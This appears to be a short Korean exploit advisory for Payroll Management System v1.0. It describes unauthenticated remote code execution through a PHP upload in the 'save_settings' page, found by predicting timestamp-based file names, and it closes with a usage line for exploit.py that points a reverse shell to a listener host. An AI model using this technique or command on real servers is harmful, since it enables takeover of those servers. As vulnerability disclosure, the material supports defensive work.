
급여 관리 시스템 v1.0에서 타임스탬프 기반 파일명 예측을 통한 악성 PHP 파일 업로드를 이용한 인증되지 않은 원격 코드 실행 익스플로잇

https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html 에 대한 파일 업로드를 통한 RCE. 파일 이름에는 분 단위 정확도의 타임스탬프가 앞에 추가됩니다. 스크립트는 현재, 이전 및 다음 분의 타임스탬프를 사용하여 파일 이름을 추측하려고 시도합니다.
Payroll Management System v1.0은 사용자가 "save_settings" 페이지를 통해 이미지를 업로드할 수 있도록 허용합니다. 인증되지 않은 공격자는 이 기능을 활용하여 악성 PHP 파일을 대신 업로드할 수 있습니다. 업로드된 파일은 공개적으로 접근 가능한 폴더에 저장되며, 파일 이름에는 분 단위 정밀도의 타임스탬프가 추가되어 쉽게 계산할 수 있습니다. 이 취약점을 성공적으로 악용하면 웹 서버를 실행하는 사용자로 임의의 코드를 실행할 수 있습니다.
python3 exploit.py -rhost somewebsite.com -rport 443 -lhost 192.168.22.23 -lport 443 -https
